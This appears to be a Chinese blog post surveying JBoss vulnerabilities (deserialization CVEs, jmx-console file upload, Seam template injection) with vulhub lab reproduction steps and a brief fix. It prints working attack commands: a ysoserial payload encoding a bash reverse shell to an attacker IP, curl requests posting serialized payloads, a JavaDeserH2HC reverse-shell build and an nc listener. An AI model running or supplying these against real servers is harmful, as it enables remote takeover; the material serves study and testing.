JBoos漏洞及利用整理

CVE-2013-4810 Apache Tomcat/Jboss远程代码执行漏洞

与CVE-2015-7501漏洞原理相同,这里详细介绍一下两者的区别,其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件

受影响系统: HP ProCurve Manager (PCM) HP ProCurve Manager (PCM) HP PCM+ HP Identity Driven

参考文章:[CVE:2013-4810]Apache Tomcat/JBoss远程命令执行 - sevck - 博客园 (cnblogs.com)

CVE-2015-7501 java反序列化RCE漏洞

CVE-2015-7501 漏洞由于JBoos中invoker/JMXInvokerServlet路径对外开放,JBoos的jmx组件支持java反序列化

 

影响范围

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10

JBoss AS (Wildly) 6 and earlier

JBoss A-MQ 6.2.0

JBoss Fuse 6.2.0

JBoss SOA Platform (SOA-P) 5.3.1

JBoss Data Grid (JDG) 6.5.0

JBoss BRMS (BRMS) 6.1.0

JBoss BPMS (BPMS) 6.1.0

JBoss Data Virtualization (JDV) 6.1.0

JBoss Fuse Service Works (FSW) 6.0.0

JBoss Enterprise Web Server (EWS) 2.1,3.0

复现过程

这里使用6.1.0版本

使用vulhub

cd /app/vulhub-master/jboss/JMXInvokerServlet-deserialization

使用docker启动

docker-compose build docker-compose up -d

环境启动后,访问http://your-ip:8080/

http://192.168.239.129:8080/

访问如下链接有文件下载

http://192.168.239.129:8080/invoker/JMXInvokerServlet

下载工具

“”“https://cdn.vulhub.org/deserialization/DeserializeExploit.jar”“”

GitHub - angelwhu/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (yso)

用了一下,是乱码,试试yso吧,kali执行下面命令(echo后面那一串,自行用base64解码后修改再编码)

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMzkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i} " >exp.ser

kali监听6666端口后,再次执行

curl http://192.168.239.129:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

在这里插入图片描述

在这里插入图片描述

关闭镜像(每次用完后关闭)

docker-compose down

docker-compose常用命令 拉镜像(进入到vulhub某个具体目录后)

docker-compose build docker-compose up -d

镜像查询(查到的第一列就是ID值)

docker ps -a

进入指定镜像里面(根据上一条查出的ID进入)

docker exec -it ID /bin/bash

关闭镜像(每次用完后关闭)

docker-compose down 参考链接:JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)_黑白的博客-CSDN博客

修复:

使用Winzip打开jar文件,在 org/apache/commons/collections/functors/InvokerTransformer.class删除该文件。

CVE-2017-7504漏洞JBoos反序列化漏洞

CVE-2017-12149和CVE-2017-7504都是反序列化漏洞,因此用的东西都是一样的,步骤也是差不多的

 

影响范围:JBoss AS 4.x及之前版本。

漏洞原理

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码

参考文章:jboss反序列化漏洞复现(CVE-2017-7504) - 雨中落叶 - 博客园 (cnblogs.com)

CVE-2017-12149

CVE-2017-12149和CVE-2017-7504都是反序列化漏洞,因此用的东西都是一样的,步骤也是差不多的

影响范围:漏洞影响5.x和6.x版本的JBOSSAS。

漏洞原理:该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。

漏洞复现

首先检测目录,访问链接(http://192.168.1.121:8080/invoker/readonly

img

可以看到是返回 500,一般漏洞就是存在了。

下载利用工具:JavaDeserH2HC(http://scan.javasec.cn/java/JavaDeserH2HC.zip

把上面下载到的工具复制到 kali 里面,解压即可

接下来输入命令:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port //反弹shell的IP和端口

接下来测试

javac -cp .:commons-collections-3.2.1.jar         ReverseShellCommonsCollectionsHashMap.java
​
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap   192.168.1.105:4444(IP是kali的ip,4444是下面要监听的端口,这里写哪个端口下面就要监听哪个端口)

直接在 kali 打开个新的终端用 nc 监听端口:

nc -vlp 4444     

这个时候会同目录下生成一个ReverseShellCommonsCollectionsHashMap.ser文件,curl 这个二进制文件就可以了。

curl http://192.168.1.121:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

最后成功反弹shell

参考文章

CVE-2017-12149漏洞利用 - Oran9e - 博客园 (cnblogs.com)

JBoss后台文件上传的漏洞CVE-2007-1036

漏洞影响:JBoss AS 4.x及之前版本中

漏洞原因:此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能。该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法,通过向四个参数传入信息,达到上传shell的目的,其中arg0传入的是部署的war包名字,arg1传入的是上传的文件的文件名,arg2传入的是上传文件的文件格式,arg3传入的是上传文件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。但是通过实验发现,arg1和arg2可以进行文件的拼接,例如arg1=she,arg2=ll.jsp。这个时候服务器还是会进行拼接,将shell.jsp传入到指定路径下。后面的CVE-2010-0738和CVE-2005-5750漏洞也存在这一特性。

其中war_name是部署war包的名称,filename是我们想要上传的文件名。漏洞利用过程就是将POC以GET或POST方式在/jmx-console/HtmlAdaptor路径下进行传入即可。

利用路径:/jmx-console/HtmlAdaptor

CVE-2010-0738漏洞

和CVE-2007-1036漏洞相同,唯一的区别是CVE-2010-0738漏洞利用了HTTP中HEAD请求方法,绕过了对GET和POST请求的限制,成功地再次利用jboss.admin -> DeploymentFileRepository -> store()方法上传文件

CVE-2006-5750漏洞

‍‍和CVE-2007-1036漏洞相同,唯一的区别是CVE-2006-5750漏洞利用methodIndex进行store()方法的调用。其中methodIndex是通过方法的编号进行调用。

JB‍oss jmx-consoleHtmlAdaptor addURL() 文件上传漏洞

此漏洞是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能。该漏洞利用的是后台jboss.deployment -> DeploymentScanner -> Java.net.URL类型 addURL() 方法,通过向一个参数传入url进行访问,在要访问的url中构造带有shell的war包,当服务器访问时便会上传shell。但是,上传shell的文件只是一个映射文件,当url一旦无法访问或者内部资源丢失,则服务器上的文件也会相应消失。

JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability POC

其中arg0传入的是我们可以控制服务器访问的url。在/jmx-console/HtmlAdaptor路径下GET传入我们构造好的payload,即可对此漏洞进行漏洞利用。‍

JBoss seam2模板注入 CVE-2010-1871漏洞‍

此漏洞是通过seam组件中插入#{payload}进行模板注入,我们可以在/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{}的#{}中插入我们要执行的方法,我们可以通过Java反射机制来获取到Java.lang.Runtime.getRuntime().exec()方法,从而可以传入任何想要执行的指令。

在/admin-console/login.seam路径下,POST传入我们构造好的payload,即可对此漏洞利用。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值